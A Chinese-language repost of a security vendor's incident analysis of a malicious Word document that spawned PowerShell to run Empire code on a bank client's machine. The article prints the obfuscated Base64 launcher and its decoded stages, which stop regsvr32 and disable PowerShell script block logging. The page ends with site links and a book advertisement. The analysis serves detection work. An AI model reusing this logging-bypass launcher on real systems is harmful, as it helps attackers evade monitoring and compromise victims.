内容简介:近期,我们在对一份来自大型银行客户的PoC进行研究,研究了几天之后,我们在同一台设备上发现了多个安全威胁,其中包括渗透测试过程中常见的威胁。比如说:1.Eicar样本;
直奔主题
近期,我们在对一份来自大型银行客户的PoC进行研究,研究了几天之后,我们在同一台设备上发现了多个安全威胁,其中包括渗透测试过程中常见的威胁。
比如说:
1.Eicar样本;
2.CQHashDumpv2(密码导出工具);
3.NetCat安装。
我们在询问客户之后,得知原来其中的部分事件是当时在得到授权的情况下所进行的渗透测试检查。
但随后,我们发现了一个针对Firefox的漏洞利用活动,整个攻击时间轴如下图所示:
这张图足矣帮助我们了解设备上到底发生了什么。接下来,我们还发现了以下几个有意思的地方:
1.攻击是从一个通过Firefox浏览器下载的恶意Word文档开始的(很可能是某封邮件的),这个文档使用了宏功能来开启 PowerShell 控制台,然后运行Empire代码。
我们的客户端检测到的漏洞利用文件如下:
根据VirusTotal的记录,我们检测到的这个漏洞利用文件是之前没出现过的。漏洞利用代码的首次上传时间为2018-10-24 09:17:01 UTC,就在客户设备打开该文件的两个小时之前。
2.检测到该威胁之后,VT中的57个引擎只有12个(基于AI的引擎)能识别出这个恶意文档:
3.PowerShell中加载了经过混淆处理的Base64代码:
下面给出的是经过混淆处理后的代码:
-W 1-C[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('c3RvcC1wcm9jZXNzIC1uYW1lIHJlZ3N2cjMyIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ=='))|iex;[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('SWYoJHtQYFNgVmVyc2BJb05UQWJsZX0uUFNWZXJzaW9OLk1hSk9yIC1nZSAzKXske2dgUGZ9PVtSRWZdLkFTU2VNYmx5LkdFVFRZUEUoKCdTeXN0ZW0uJysnTWFuYWdlJysnbWUnKydudCcrJy5BJysndXRvbWF0aW9uLlUnKyd0aWxzJykpLiJHZVRGSWVgTGQiKCgnY2FjaGVkRycrJ3JvJysndXAnKydQb2xpYycrJ3lTZXR0aW4nKydncycpLCdOJysoJ29uUHUnKydibGljLCcrJ1N0YXQnKydpYycpKTtJZigke2dgcEZ9KXske0dgUGN9PSR7R2BwZn0uR2V0VkFMVWUoJHtOdWBMbH0pO0lmKCR7Z2BwY31bKCdTJysnY3InKydpcHRCJykrKCdsbycrJ2NrTG8nKydnZ2knKyduZycpXSl7JHtHYFBDfVsoJ1NjcmlwdCcrJ0InKSsoJ2wnKydvY2tMb2dnaScrJ25nJyldWygnRW5hJysnYicrJ2xlJysnU2MnKydyaXB0QicpKygnbG8nKydja0wnKydvZ2cnKydpbmcnKV09MDske2dgUEN9WygnU2NyaScrJ3AnKyd0QicpKygnbG9jaycrJ0xvZ2dpJysnbicrJ2cnKV1bKCdFbmEnKydiJysnbGVTYycrJ3JpJysncHRCJysnbG9ja0ludm9jYXRpb25Mb2cnKydnaScrJ25nJyldPTB9JHtWYEFsfT1bQ29sbGVDdGlvTnMuR2VOZVJ
接下来,我们对Base64代码进行了恢复,整个过程分为两个阶段:
半混淆代码
If(${P`S`Vers`IoNTAble}.PSVersioN.MaJOr-ge3){${g`Pf}=[REf].ASSeMbly.GETTYPE(('System.'+'Manage'+'me'+'nt'+'.A'+'utomation.U'+'tils'))."GeTFIe`Ld"(('cachedG'+'ro'+'up'+'Polic'+'ySettin'+'gs'),'N'+('onPu'+'blic,'+'Stat'+'ic'));If(${g`pF}){${G`Pc}=${G`pf}.GetVALUe(${Nu`Ll});If(${g`pc}[('S'+'cr'+'iptB')+('lo'+'ckLo'+'ggi'+'ng')]){${G`PC}[('Script'+'B')+('l'+'ockLoggi'+'ng')][('Ena'+'b'+'le'+'Sc'+'riptB')+('lo'+'ckL'+'ogg'+'ing')]=0;${g`PC}[('Scri'+'p'+'tB')+('lock'+'Loggi'+'n'+'g')][('Ena'+'b'+'leSc'+'ri'+'ptB'+'lockInvocationLog'+'gi'+'ng')]=0}${V`Al}=[ColleCtioNs.GeNeR
去混淆代码
If(${PSVersIoNTAble}.PSVersioN.MaJOr-ge 3){${gPf}=[REf].ASSeMbly.GETTYPE(('System.Management.Automation.Utils'))."GeTFIeLd"(('cachedGroupPolicySe ttings'),'N'+('onPublic,Static'));If(${gpF}){${GPc}=${Gpf}.GetVALUe(${NuLl});If(${gpc}[('ScriptB')+('lockLogging')]){${G PC}[('ScriptB')+('lockLogging')][('EnableScriptB')+('lockLogging')]=0;${gPC}[('ScriptB')+('lockLogging')][('EnableScript BlockInvocationLogging')]=0}${V`Al}=[ColleCtioNs.GeNeR
原来,这是一段非常流行的Empire代码,GitHub上就有:【 传送门 】。
4.certutil进程加载了一份可疑文件:
emp.txt hvKqcJJPFnm7.txt
大家也看到了,这个文件的文件名非常奇怪。作为一个txt文件,文件名里面还有一个.txt,因此它成功引起了我们的注意。
5.我们还怀疑cmd加载了一个BAT文件:
代码中涉及到的文件名是很长的随机名称,而文件地址为\AppData\Roaming\目录。
总结
对于银行客户来说,这种类型的攻击有可能导致严重的后果,甚至会造成财产损失。因此,及时检测并分析PoC就显得至关重要了。在我们的这次分析中,我们成功从PoC中提取出了威胁标识,这样就可以帮助大家进一步提升终端保护解决方案的有效性了。
*参考来源: sentinelone ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 大流量、高负载场景 Nginx+Linux 性能调优
- 亿级流量系统架构之如何在上万并发场景下设计可扩展架构(上)?【石杉的架构笔记】
- 科普:什么是上行流量什么是下行流量
- 混淆加密流量规避检测:黑客利用加密流量趋势明显
- 还为模拟流量测试发愁吗?!滴滴开源RDebug流量回放工具!
- 利用最新Flash漏洞,通过“流量宝”对流量从业者的攻击活动
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Servlet和JSP学习指南
Budi Kurniawan / 崔毅、俞哲皆、俞黎敏 / 机械工业出版社华章公司 / 2013-4-14 / 59.00元
本书是系统学习Servlet和JSP的必读之作。由全球知名的Java技术专家(《How Tomcat Works》作者)亲自执笔,不仅全面解读Servlet 和JSP 的最新技术,重点阐述Java Web开发的重要编程概念和设计模型,而且包含大量可操作性极强的案例。 本书共18章:第1章介绍Servlet API和几个简单的Servlet;第2章讨论Session追踪,以及保持状态的4种技术......一起来看看 《Servlet和JSP学习指南》 这本书的介绍吧!